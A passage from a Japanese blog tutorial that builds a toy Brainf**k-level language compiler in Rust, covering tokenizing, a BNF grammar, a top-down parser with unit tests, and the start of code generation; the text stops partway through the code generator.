    AABCCCCCDDDDDDDDDDDDEEEEEEEFFGGHIJKOU  O O   PR LLJJJKL                                                OIHFFEDDDDDCCCCCCCCCCCCCCB
    AACCCDDDDDDDDDDDDDEEEEEEEEEFGGGHIJMR              RMLMN                                                 NTFEEDDDDDDCCCCCCCCCCCCCB
    AACCDDDDDDDDDDDDEEEEEEEEEFGGGHHKONSZ                QPR                                                NJGFEEDDDDDDCCCCCCCCCCCCCC
    ABCDDDDDDDDDDDEEEEEFFFFFGIPJIIJKMQ                   VX                                                 HFFEEDDDDDDCCCCCCCCCCCCCC
    ACDDDDDDDDDDEFFFFFFFGGGGHIKZOOPPS                                                                      HGFEEEDDDDDDCCCCCCCCCCCCCC
    ADEEEEFFFGHIGGGGGGHHHHIJJLNY                                                                        TJHGFFEEEDDDDDDDCCCCCCCCCCCCC
    A                                                                                                 PLJHGGFFEEEDDDDDDDCCCCCCCCCCCCC
    ADEEEEFFFGHIGGGGGGHHHHIJJLNY                                                                        TJHGFFEEEDDDDDDDCCCCCCCCCCCCC
    ACDDDDDDDDDDEFFFFFFFGGGGHIKZOOPPS                                                                      HGFEEEDDDDDDCCCCCCCCCCCCCC
    ABCDDDDDDDDDDDEEEEEFFFFFGIPJIIJKMQ                   VX                                                 HFFEEDDDDDDCCCCCCCCCCCCCC
    AACCDDDDDDDDDDDDEEEEEEEEEFGGGHHKONSZ                QPR                                                NJGFEEDDDDDDCCCCCCCCCCCCCC
    AACCCDDDDDDDDDDDDDEEEEEEEEEFGGGHIJMR              RMLMN                                                 NTFEEDDDDDDCCCCCCCCCCCCCB
    AABCCCCCDDDDDDDDDDDDEEEEEEEFFGGHIJKOU  O O   PR LLJJJKL                                                OIHFFEDDDDDCCCCCCCCCCCCCCB
    AABCCCCCCCCDDDDDDDDDDDEEEEEEFFFHKQMRKNJIJLVS JJKIIIIIIJLR                                               YNHFEDDDDDCCCCCCCCCCCCCBB
    AAABCCCCCCCCCCCDDDDDDDDDDEEEEFFHLKHHGGGGHHMJHGGGGGGHHHIKRR                                           UQ L HFEDDDDCCCCCCCCCCCCCCBB
    AAABCCCCCCCCCCCCCCCCCDDDDDDDEEFJIHFFFFFFFFFFFFFFGGGGGGHIJN                                            JHHGFEEDDDDCCCCCCCCCCCCCBBB
    AAAABCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEEFFFFFFGGHYV RQU                                     QMJHGGFEEEDDDCCCCCCCCCCCCCBBBB
    AAAABBCCCCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEFFFFFFGHIJKLOT                                     [JGFFEEEDDCCCCCCCCCCCCCBBBBB
    AAAAABBCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDEEEEEEEEEEEEFFFFFGHHIN                                 Q     UMWGEEEDDDCCCCCCCCCCCCBBBBBB
    AAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDEEEEEEEEEFFFFGH O    TN S                       NKJKR LLQMNHEEDDDCCCCCCCCCCCCBBBBBBB
    AAAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDEEEEEEFFGHK   MKJIJO  N R  X      YUSR PLV LHHHGGHIOJGFEDDDCCCCCCCCCCCCBBBBBBBB
    AAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEEFGGHIIHHHHHIIIJKMR        VMKJIHHHGFFFFFFGSGEDDDDCCCCCCCCCCCCBBBBBBBBB
    AAAAAAABBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEFFFFFFGGGGHIKP           KHHGGFFFFEEEEEEDDDDDCCCCCCCCCCCBBBBBBBBBBB
    AAAAAAAABBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEFFFFFGGHJLZ         UKHGFFEEEEEEEEDDDDDCCCCCCCCCCCCBBBBBBBBBBBB
    AAAAAAAAABBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGQPUVOTY   ZQL[MHFEEEEEEEDDDDDDDCCCCCCCCCCCBBBBBBBBBBBBBB
    AAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGHIJKS  X KHHGFEEEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBB
    AAAAAAAAAAABBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEEFGGHHIKPPKIHGFFEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBBBB
    AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEFFGHIMTKLZOGFEEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBB
    AAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEFFFI KHGGGHGEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBB
    AAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDEEEFGIIGFFEEEDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBB

(⋈◍＞◡＜◍)。✧♡

## Brainf\*\*k レベルのプログラミング言語を設計する

次は「Brainf\*\*k レベルに機能を絞った言語」を定義します。今回はこんな感じにしてみました。`ptr` は組み込みの変数のようなものです。この `ptr` を Brainf\*\*k 上で操作するポインタとし、それをよくある感じの構文で操作できるようにしたイメージです。本当に Brainf\*\*k に皮をかぶせた程度の機能しかないし、見た目もいろいろと残念なのには目をつぶることにします。

```rust
// 行末までコメント

ptr += 123;  // 数値だけポインタを進める
ptr -= 123;  // 数値だけポインタを戻す

*ptr += 123;  // 数値だけポインタが指す値を加算する
*ptr -= 123;  // 数値だけポインタが指す値を減算する

putchar();  // 標準入力から1文字読んで *ptr に格納する
getchar();  // *ptr の値を標準出力に書き込む

// ループ (条件式は現状 *ptr のみ)
while *ptr {
    // do something
}
```

## 字句解析を実装する

今度はソースコードをプログラミング言語で意味のある字句・記号 (トークン) で分割し、内部で扱いやすい形式に変換する字句解析を実装していきます。

[`src/token.rs`](https://github.com/Tosainu/chiya/blob/e6f96026af0323fad54c3754b0e4c14322a6bd25/src/token.rs) を作成し、まずはトークンを表現するデータ型をこんな感じに定義しました。トークンの分類や名称などは [Tokens - The Rust Reference](https://doc.rust-lang.org/stable/reference/tokens.html) などを参考にしました。

```rust
#[derive(Debug, PartialEq)]
pub enum Token {
    Integer(i32),
    Identifier(String),

    // Keywords
    While, // &apos;while&apos;

    // Punctuation symbols
    Star,       // &apos;*&apos;
    PlusEq,     // &apos;+=&apos;
    MinusEq,    // &apos;-=&apos;
    Semi,       // &apos;;&apos;
    ParenOpen,  // &apos;(&apos;
    ParenClose, // &apos;)&apos;
    CurlyOpen,  // &apos;{&apos;
    CurlyClose, // &apos;}&apos;
}
```

続いて文字列をトークン列に分割する関数 `tokenize()` を実装していきます。処理は失敗する可能性があるので、[`failure` crate](https://docs.rs/failure/0.1.6/failure/) を使ったエラー処理を使ってみました。Rust の文字列 ([`String`](https://doc.rust-lang.org/std/string/struct.String.html) や [`str`](https://doc.rust-lang.org/std/primitive.str.html)) を複数文字ずつチェックしていくいい感じの方法がよくわからず、とりあえず `str` のメソッド [`get()`](https://doc.rust-lang.org/std/primitive.str.html#method.get) を使ってみました。何か Best practice があれば教えてもらえるとうれしいです。

```rust
#[derive(Debug, PartialEq, failure::Fail)]
pub enum TokenizerError {
    #[fail(display = &quot;unexpected character: &apos;{}&apos;&quot;, character)]
    UnexpectedCharacter { character: char },

    #[fail(display = &quot;input error&quot;)]
    InputError,
}

pub fn tokenize(src: &amp;str) -&gt; Result&lt;Vec&lt;Token&gt;, TokenizerError&gt; {
    let mut tokens = Vec::new();
    let mut cur = 0;
    while cur &lt; src.len() {
        if let Some(s) = src.get(cur..) {

            // ~~~ トークンへの分割処理 ~~~

            return Err(TokenizerError::UnexpectedCharacter {
                character: s.chars().next().unwrap(),
            });
        } else {
            return Err(TokenizerError::InputError);
        }
    }

    Ok(tokens)
}
```

コンパイラの教科書や字句解析系を生成するソフトウェアとして有名な [Lex](&lt;https://en.wikipedia.org/wiki/Lex_(software)&gt;) では正規表現が出てくるので、ここでもルールの記述に正規表現を使うことにします。正規表現のライブラリには [`regex` crate](https://docs.rs/crate/regex/1.3.1) を使うことにしました。

簡単なルールから書いていきます。空白文字のスキップと数値のルールをとりあえずこんな感じに書いてみました。

```rust
use lazy_static::lazy_static;
use regex::Regex;

lazy_static! {
    static ref WHITESPACES: Regex = Regex::new(r&quot;^\s+&quot;).unwrap();
    static ref INTEGER: Regex = Regex::new(r&quot;^-?\d+\b&quot;).unwrap();
}

// 注目している文字列が正規表現 WHITESPACES にマッチしたら
if let Some(m) = WHITESPACES.find(s) {
    // 何もせずマッチしたバイト数だけカーソルを進める
    cur += m.end();
    continue;
}

// 注目している文字列が正規表現 INTEGER にマッチしたら
if let Some(m) = INTEGER.find(s) {
    // Token::Integer を追加して
    tokens.push(Token::Integer(m.as_str().parse().unwrap()));
    // マッチしたバイト数だけカーソルを進める
    cur += m.end();
    continue;
}
```

単体テストを書くことで実装の動作確認を行うことにします。Rust では関数に [`#[test]`](https://doc.rust-lang.org/reference/attributes/testing.html#the-test-attribute) と付けるだけでテスト用の関数になるのはとてもお手軽で良いですね。

```rust
#[test]
fn test_tokenize() {
    assert_eq!(tokenize(&quot;     &quot;), Ok(vec![]));

    assert_eq!(tokenize(&quot;123&quot;), Ok(vec![Token::Integer(123)]));
    assert_eq!(tokenize(&quot;-123&quot;), Ok(vec![Token::Integer(-123)]));

    assert_eq!(
        tokenize(&quot;123 123&quot;),
        Ok(vec![Token::Integer(123), Token::Integer(123)])
    );
}
```

`cargo test --lib` で書いたテストを実行してみると、とりあえずそれっぽく動いてそうです。

    $ cargo test --lib
       Compiling chiya v0.1.0 (/path/to/work/dir/chiya)
        Finished dev [unoptimized + debuginfo] target(s) in 1.10s
         Running target/debug/deps/chiya-193f94de4648cab5

    running 1 test
    test token::test_tokenize ... ok

    test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out

単純な文字列の一致で済みそうなケースでも正規表現を利用するのはちょっとアレです。Rust の Linter である [Clippy](https://github.com/rust-lang/rust-clippy) も[非常に単純な正規表現に警告を出してきたり](https://rust-lang.github.io/rust-clippy/master/#trivial_regex)します。ということで、記号など簡単なルールは文字列の先頭が引数に与えた文字列と一致しているかを判定する [`starts_with()`](https://doc.rust-lang.org/std/primitive.str.html#method.starts_with) メソッドを使うことにしました。

```rust
// 注目している文字列が &apos;+=&apos; で始まっていたら
if s.starts_with(&quot;+=&quot;) {
    // Token::PlusEq を追加して
    tokens.push(Token::PlusEq);
    // そのバイト数だけカーソルを進める
    cur += &quot;+=&quot;.len();
    continue;
}
```

こんな感じでほかのトークンも認識できるようにしていきます。頻出する「ルールにマッチしたら何かして `continue`」へ展開されるマクロ `match_re!` や `match_str!` なども実装し、`tokenize()` は最終的にこんな感じになりました。

```rust
pub fn tokenize(src: &amp;str) -&gt; Result&lt;Vec&lt;Token&gt;, TokenizerError&gt; {
    let mut tokens = Vec::new();
    let mut cur = 0;
    while cur &lt; src.len() {
        if let Some(s) = src.get(cur..) {
            macro_rules! match_re {
                ($re:expr, $closure:expr) =&gt; {
                    if let Some(m) = $re.find(s) {
                        $closure(m);
                        cur += m.end();
                        continue;
                    }
                };
            }

            macro_rules! match_str {
                ($pat:expr, $e:expr) =&gt; {
                    if s.starts_with($pat) {
                        $e;
                        cur += $pat.len();
                        continue;
                    }
                };
            }

            lazy_static! {
                static ref WHITESPACES: Regex = Regex::new(r&quot;^\s+&quot;).unwrap();
                static ref COMMENT: Regex = Regex::new(r&quot;^(?m://.+$)&quot;).unwrap();
                static ref INTEGER: Regex = Regex::new(r&quot;^-?\d+\b&quot;).unwrap();
                static ref ID_OR_KEY: Regex =
                    Regex::new(r&quot;^[a-zA-Z][a-zA-Z0-9_]*|_[a-zA-Z0-9_]+\b&quot;).unwrap();
            }

            match_re!(WHITESPACES, |_| {});
            match_re!(COMMENT, |_| {});

            match_re!(INTEGER, |m: regex::Match| {
                tokens.push(Token::Integer(m.as_str().parse().unwrap()));
            });

            match_str!(&quot;+=&quot;, tokens.push(Token::PlusEq));
            match_str!(&quot;-=&quot;, tokens.push(Token::MinusEq));
            match_str!(&quot;*&quot;, tokens.push(Token::Star));
            match_str!(&quot;;&quot;, tokens.push(Token::Semi));
            match_str!(&quot;(&quot;, tokens.push(Token::ParenOpen));
            match_str!(&quot;)&quot;, tokens.push(Token::ParenClose));
            match_str!(&quot;{&quot;, tokens.push(Token::CurlyOpen));
            match_str!(&quot;}&quot;, tokens.push(Token::CurlyClose));

            match_re!(ID_OR_KEY, |m: regex::Match| {
                let t = match m.as_str() {
                    &quot;while&quot; =&gt; Token::While,
                    s =&gt; Token::Identifier(s.to_string()),
                };
                tokens.push(t);
            });

            return Err(TokenizerError::UnexpectedCharacter {
                character: s.chars().next().unwrap(),
            });
        } else {
            return Err(TokenizerError::InputError);
        }
    }

    Ok(tokens)
}
```

## 構文解析を実装する

次は、入力がプログラミング言語の文法に従っているかを確認し、その構造を表現する構文木を組み立てる構文解析を実装していきます。

### 文法を定義する

まずは定義したプログラミング言語のもう少し厳密な文法を決めていきます。とりあえず簡単なところからいきましょう。今回定めたプログラミング言語における、`ptr += 123;` や、`while *ptr { ... }` などを `statement` (文) という要素とします。プログラムは複数の文で成り立っているので、このプログラミング言語には「`program` (プログラム全体) は `statements` (1つ以上の文) で構成される」というルールがあることになります。これを [BNF (Backus–Naur form)](https://en.wikipedia.org/wiki/Backus–Naur_form) 風に記述するとこうなります。

    &lt;program&gt; ::= &lt;statements&gt;
    &lt;statements&gt; ::= &lt;statements&gt; &lt;statement&gt; | &lt;statement&gt;

こんな感じにプログラムを構成する要素がどのような構文になっているかのルールを列挙していくことで、文法を定義していきます。

ではどんどんいきましょう。`statement` は `ptr += 123` などの `expression` (式) の末尾にセミコロンをつけたもの、`{ ... }`、`while *ptr { ... }` のいずれかで構成されるとすれば

    &lt;statement&gt; ::= &lt;expression&gt; &apos;;&apos;
                  | &lt;block&gt;
                  | &apos;while&apos; &lt;expression&gt; &lt;block&gt;
    &lt;block&gt; ::= &apos;{&apos; &lt;statements&gt; &apos;}&apos;

`rhs` (右辺値) を数値、`lhs` (左辺値) を `ptr` や `*ptr` として、`expression` は

    &lt;expression&gt; ::= &lt;lhs&gt; &apos;+=&apos; &lt;rhs&gt;
                   | &lt;lhs&gt; &apos;-=&apos; &lt;rhs&gt;
                   | &lt;lhs&gt; &apos;(&apos; &apos;)&apos;
                   | &lt;lhs&gt;
    &lt;lhs&gt; ::= identifier | &apos;*&apos; identifier
    &lt;rhs&gt; ::= number

という感じにしました。

### 構文木のデータ型を定義する

続いて、先程定義したプログラミング言語の各要素を表現するデータ型を [`src/parser.rs`](https://github.com/Tosainu/chiya/blob/af4d8799e2b61a717d360238be47af56a501c520/src/parser.rs) に定義していきます。例えば `&lt;rhs&gt; ::= number` なら

```rust
#[derive(Debug, PartialEq)]
pub enum Rhs {
    Number(i32),
}
```

`&lt;lhs&gt; ::= identifier | &apos;*&apos; identifier` なら

```rust
#[derive(Debug, PartialEq)]
pub enum Lhs {
    Pointer(String),
    Dereference(String),
}
```

という感じです。

残りの要素の型も書いていきます。`Statement::Block` など、自身のデータ型を持たせたいときにはポインタ型の [`Box&lt;T&gt;`](https://doc.rust-lang.org/std/boxed/struct.Box.html) を使います。

```rust
#[derive(Debug, PartialEq)]
pub enum Expression {
    AssignAdd(Lhs, Rhs),
    AssignSub(Lhs, Rhs),
    FunctionCall(Lhs),
    Lhs(Lhs),
}

#[derive(Debug, PartialEq)]
pub enum Statement {
    Expression(Expression),
    Block(Box&lt;Block&gt;),
    While(Expression, Box&lt;Block&gt;),
}

#[derive(Debug, PartialEq)]
pub enum Statements {
    Statements(Box&lt;Statements&gt;, Statement),
    Statement(Statement),
}

#[derive(Debug, PartialEq)]
pub enum Block {
    Statements(Statements),
}

#[derive(Debug, PartialEq)]
pub enum Program {
    Statements(Statements),
}
```

これで `Program` を根にすれば構文木を表現できます。例えば次のコードの構文木は

```c
*ptr += 65;
putchar();
```

![](./g.svg)

定義したデータ型を使って表現するとこんな感じになります。

```rust
let tree = Program::Statements(Statements::Statements(
    Box::new(Statements::Statement(Statement::Expression(
        Expression::AssignAdd(Lhs::Dereference(&quot;ptr&quot;.to_owned()), Rhs::Number(65)),
    ))),
    Statement::Expression(Expression::FunctionCall(Lhs::Pointer(
        &quot;putchar&quot;.to_owned(),
    ))),
));
```

ちなみにこのデータ型は [`Debug`](https://doc.rust-lang.org/std/fmt/trait.Debug.html) trait を `derive` しているので、[`println!`](https://doc.rust-lang.org/std/macro.println.html) などに渡すフォーマットに `{:#?}` を指定するといい感じに表示できたりします。便利。

```rust
println!(&quot;{:#?}&quot;, tree);
```

```rust
Statements(
    Statements(
        Statement(
            Expression(
                AssignAdd(
                    Dereference(
                        &quot;ptr&quot;,
                    ),
                    Number(
                        65,
                    ),
                ),
            ),
        ),
        Expression(
            FunctionCall(
                Pointer(
                    &quot;putchar&quot;,
                ),
            ),
        ),
    ),
)
```

### Top-Down 型の構文解析を実装する

では実際に構文解析を実装していきます。今回は比較的お手軽に実装できる Top-Down[^parser] (下降、下向き などと訳される) 型の構文解析を実装します。

[^parser]: 構文木の上の要素 (今回だと `program`) から対応をとっていくので &quot;Top-Down&quot;、逆に下の要素 (今回だと `lhs` や `rhs`) から対応をとっていく &quot;Bottom-Up&quot; な構文解析もある

`src/parser.rs` に、まず `rhs` を認識する関数 `rhs()` をこんな感じに実装してみました。この関数は注目しているトークン列 `tokens` を受け取り、`rhs` の文法にマッチしていたらその結果と残りのトークン列を返すというものです。

```rust
pub fn rhs(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Rhs)&gt; {
    tokens.first().and_then(|t| match t {
        // トークン列の先頭が Token::Integer だったら Rhs::Number
        Token::Integer(i) =&gt; Some((&amp;tokens[1..], Rhs::Number(*i))),
        _ =&gt; None,
    })
}

#[test]
fn test_rhs() {
    assert_eq!(rhs(&amp;[]), None);
    assert_eq!(rhs(&amp;[Token::CurlyOpen]), None);
    assert_eq!(rhs(&amp;[Token::Identifier(&quot;123&quot;.to_owned())]), None);
    assert_eq!(
        rhs(&amp;[Token::Integer(123)]),
        Some((&amp;[] as &amp;[Token], Rhs::Number(123)))
    );
}
```

同様に `lhs` を認識する関数 `lhs()` はこんな感じです。ここまではまぁそのままって感じですね。

```rust
pub fn lhs(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Lhs)&gt; {
    // トークン列の先頭2要素が
    match (tokens.get(0), tokens.get(1)) {
        // [Token::Star, Token::Identifier, ...] だったら Lhs::Dereference
        (Some(Token::Star), Some(Token::Identifier(s))) =&gt; {
            Some((&amp;tokens[2..], Lhs::Dereference(s.to_string())))
        }

        // [Token::Identifier, ...] だったら Lhs::Pointer
        (Some(Token::Identifier(s)), _) =&gt; Some((&amp;tokens[1..], Lhs::Pointer(s.to_string()))),

        _ =&gt; None,
    }
}

#[test]
fn test_lhs() {
    assert_eq!(lhs(&amp;[]), None);
    assert_eq!(lhs(&amp;[Token::CurlyOpen]), None);
    assert_eq!(lhs(&amp;[Token::Integer(123)]), None);
    assert_eq!(
        lhs(&amp;[Token::Identifier(&quot;hoge&quot;.to_owned())]),
        Some((&amp;[] as &amp;[Token], Lhs::Pointer(&quot;hoge&quot;.to_owned())))
    );
    assert_eq!(
        lhs(&amp;[Token::Star, Token::Identifier(&quot;hoge&quot;.to_owned())]),
        Some((&amp;[] as &amp;[Token], Lhs::Dereference(&quot;hoge&quot;.to_owned())))
    );
}
```

この方式で実装する構文解析のおもしろいところは、別の構文解析の関数を組み合わせてより複雑な構文解析を実装できるところです。例えば `expression` を認識する関数 `expression()` は `rhs()` と `lhs()` を組み合わせてこんな感じに実装できます。

```rust
pub fn expression(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Expression)&gt; {
    // lhs が認識できるかチェックし、その後に続くトークン列が
    lhs(tokens).and_then(|(tokens, l)| match (tokens.get(0), tokens.get(1)) {
        // &apos;+=&apos; かつその後に rhs が続いたら Expression::AssignAdd
        (Some(Token::PlusEq), _) =&gt; {
            rhs(&amp;tokens[1..]).map(|(t, r)| (t, Expression::AssignAdd(l, r)))
        }

        // &apos;-=&apos; かつその後に rhs が続いたら Expression::AssignSub
        (Some(Token::MinusEq), _) =&gt; {
            rhs(&amp;tokens[1..]).map(|(t, r)| (t, Expression::AssignSub(l, r)))
        }

        // &apos;(&apos; &apos;)&apos; なら Expression::FunctionCall
        (Some(Token::ParenOpen), Some(Token::ParenClose)) =&gt; {
            Some((&amp;tokens[2..], Expression::FunctionCall(l)))
        }

        // それ以外なら Expression::Lhs
        _ =&gt; Some((tokens, Expression::Lhs(l))),
    })
}

#[test]
fn test_expression() {
    assert_eq!(expression(&amp;[]), None);

    assert_eq!(
        expression(&amp;[Token::Identifier(&quot;hoge&quot;.to_owned())]),
        Some((
            &amp;[] as &amp;[Token],
            Expression::Lhs(Lhs::Pointer(&quot;hoge&quot;.to_owned()))
        ))
    );
    assert_eq!(
        expression(&amp;[Token::Star, Token::Identifier(&quot;hoge&quot;.to_owned())]),
        Some((
            &amp;[] as &amp;[Token],
            Expression::Lhs(Lhs::Dereference(&quot;hoge&quot;.to_owned()))
        ))
    );
    assert_eq!(
        expression(&amp;[
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::Identifier(&quot;hoge&quot;.to_owned())
        ]),
        Some((
            &amp;[Token::Identifier(&quot;hoge&quot;.to_owned())] as &amp;[Token],
            Expression::Lhs(Lhs::Pointer(&quot;hoge&quot;.to_owned()))
        ))
    );

    assert_eq!(
        expression(&amp;[
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::PlusEq,
            Token::Integer(123)
        ]),
        Some((
            &amp;[] as &amp;[Token],
            Expression::AssignAdd(Lhs::Pointer(&quot;hoge&quot;.to_owned()), Rhs::Number(123))
        ))
    );
    assert_eq!(
        expression(&amp;[
            Token::Star,
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::PlusEq,
            Token::Integer(123)
        ]),
        Some((
            &amp;[] as &amp;[Token],
            Expression::AssignAdd(Lhs::Dereference(&quot;hoge&quot;.to_owned()), Rhs::Number(123))
        ))
    );

    assert_eq!(
        expression(&amp;[
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::MinusEq,
            Token::Integer(123)
        ]),
        Some((
            &amp;[] as &amp;[Token],
            Expression::AssignSub(Lhs::Pointer(&quot;hoge&quot;.to_owned()), Rhs::Number(123))
        ))
    );
    assert_eq!(
        expression(&amp;[
            Token::Star,
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::MinusEq,
            Token::Integer(123)
        ]),
        Some((
            &amp;[] as &amp;[Token],
            Expression::AssignSub(Lhs::Dereference(&quot;hoge&quot;.to_owned()), Rhs::Number(123))
        ))
    );

    assert_eq!(
        expression(&amp;[
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::ParenOpen,
            Token::ParenClose
        ]),
        Some((
            &amp;[] as &amp;[Token],
            Expression::FunctionCall(Lhs::Pointer(&quot;hoge&quot;.to_owned()))
        ))
    );

    assert_eq!(
        expression(&amp;[
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::MinusEq,
            Token::Identifier(&quot;hoge&quot;.to_owned()),
        ]),
        None
    );
}
```

こんな感じにほかのも実装していきます。

```rust
pub fn statement(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Statement)&gt; {
    fn expression_s(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Statement)&gt; {
        expression(tokens).and_then(|(t, e)| match t.first() {
            Some(Token::Semi) =&gt; Some((&amp;t[1..], Statement::Expression(e))),
            _ =&gt; None,
        })
    }

    fn block_s(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Statement)&gt; {
        block(tokens).map(|(tokens, b)| (tokens, Statement::Block(Box::new(b))))
    }

    fn while_s(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Statement)&gt; {
        match tokens.first() {
            Some(Token::While) =&gt; {
                let (tokens, e) = expression(&amp;tokens[1..])?;
                let (tokens, b) = block(tokens)?;
                Some((tokens, Statement::While(e, Box::new(b))))
            }
            _ =&gt; None,
        }
    }

    expression_s(tokens)
        .or_else(|| block_s(tokens))
        .or_else(|| while_s(tokens))
}

#[test]
fn test_statement() {
    // ...
}

pub fn statements(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Statements)&gt; {
    fn statements_inner(init: (&amp;[Token], Statements)) -&gt; Option&lt;(&amp;[Token], Statements)&gt; {
        match statement(init.0) {
            Some((tokens, s)) =&gt; {
                statements_inner((tokens, Statements::Statements(Box::new(init.1), s)))
            }
            _ =&gt; Some(init),
        }
    }

    statement(tokens).and_then(|(tokens, s)| statements_inner((tokens, Statements::Statement(s))))
}

#[test]
fn test_statements() {
    // ...
}

pub fn block(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Block)&gt; {
    tokens.first().filter(|t| **t == Token::CurlyOpen)?;
    let (tokens, s) = statements(&amp;tokens[1..])?;
    tokens.first().filter(|t| **t == Token::CurlyClose)?;
    Some((&amp;tokens[1..], Block::Statements(s)))
}

#[test]
fn test_block() {
    // ...
}

pub fn program(tokens: &amp;[Token]) -&gt; Option&lt;(&amp;[Token], Program)&gt; {
    statements(tokens).map(|(tokens, s)| (tokens, Program::Statements(s)))
}

#[test]
fn test_program() {
    assert_eq!(program(&amp;[]), None);

    assert_eq!(
        program(&amp;[
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::PlusEq,
            Token::Integer(123),
            Token::Semi,
        ]),
        Some((
            &amp;[] as &amp;[Token],
            Program::Statements(Statements::Statement(Statement::Expression(
                Expression::AssignAdd(Lhs::Pointer(&quot;hoge&quot;.to_owned()), Rhs::Number(123))
            )))
        ))
    );

    assert_eq!(
        program(&amp;[
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::PlusEq,
            Token::Integer(123),
            Token::Semi,
            Token::Star,
            Token::Identifier(&quot;hoge&quot;.to_owned()),
            Token::PlusEq,
            Token::Integer(123),
            Token::Semi,
        ]),
        Some((
            &amp;[] as &amp;[Token],
            Program::Statements(Statements::Statements(
                Box::new(Statements::Statement(Statement::Expression(
                    Expression::AssignAdd(Lhs::Pointer(&quot;hoge&quot;.to_owned()), Rhs::Number(123))
                ))),
                Statement::Expression(Expression::AssignAdd(
                    Lhs::Dereference(&quot;hoge&quot;.to_owned()),
                    Rhs::Number(123)
                ))
            ))
        ))
    );
}
```

これで `program()` にトークン列を渡すことで構文木を組み立てることができるようになりました。ちなみに今回のトークン列 `tokens` を連れ回す実装をもっといい感じに書けないのかなーと思った方はぜひ &quot;Monadic Parsing&quot; などと検索してみましょう。きっとまた新しいプログラミングの世界に出会えるはずです。

## 構文木からコードを生成する

構文木を作れるようになったので、今度は構文木に対応するコードを出力できるようにしていきます。[`src/codegen.rs`](https://github.com/Tosainu/chiya/blob/b299a566dd45e919ff42dbf879e684ed641843ef/src/codegen.rs) にこんな感じの実装を追加しました。関数 `gen()` で構文木を `Program` からたどっていき、必要な箇所で `Emitter` の各種メソッドを呼び出してコードを生成したり、生成されたコードを結合したりする感じです。

```rust
use crate::parser::{Block, Expression, Lhs, Program, Rhs, Statement, Statements};

#[derive(Debug, PartialEq, failure::Fail)]
pub enum CodegenError {
    #[fail(display = &quot;invalid variable name: &apos;{}&apos;&quot;, name)]
    InvalidVariableName { name: String },

    #[fail(display = &quot;invalid function name: &apos;{}&apos;&quot;, name)]
    InvalidFunctionName { name: String },

    #[fail(display = &quot;not implemented&quot;)]
    NotImplemented,
}

pub fn gen&lt;E: emitter::Emitter&gt;(emitter: &amp;mut E, tree: &amp;Program) -&gt; Result&lt;String, CodegenError&gt; {
    match tree {
        Program::Statements(ss) =&gt; {
            let header = emitter.emit_header();
            let body = statements(emitter, ss)?;
            let footer = emitter.emit_footer();
            Ok(format!(&quot;{}{}{}&quot;, header, body, footer))
        }
    }
}

fn statements&lt;E: emitter::Emitter&gt;(
    emitter: &amp;mut E,
    tree: &amp;Statements,
) -&gt; Result&lt;String, CodegenError&gt; {
    match tree {
        Statements::Statement(s) =&gt; statement(emitter, s),
        Statements::Statements(ss, s) =&gt; statements(emitter, ss)
            .and_then(|s0| statement(emitter, s).map(|s1| format!(&quot;{}{}&quot;, s0, s1))),
    }
}

fn statement&lt;E: emitter::Emitter&gt;(
    emitter: &amp;mut E,
    tree: &amp;Statement,
) -&gt; Result&lt;String, CodegenError&gt; {
    match tree {
        Statement::Expression(e) =&gt; expression(emitter, e),
        Statement::Block(b) =&gt; block(emitter, b),
        Statement::While(e, b) =&gt; while_s(emitter, e, b),
    }
}

fn block&lt;E: emitter::Emitter&gt;(emitter: &amp;mut E, tree: &amp;Block) -&gt; Result&lt;String, CodegenError&gt; {
    match tree {
        Block::Statements(ss) =&gt; statements(emitter, ss),
    }
}

fn expression&lt;E: emitter::Emitter&gt;(
    emitter: &amp;mut E,
    tree: &amp;Expression,
) -&gt; Result&lt;String, CodegenError&gt; {
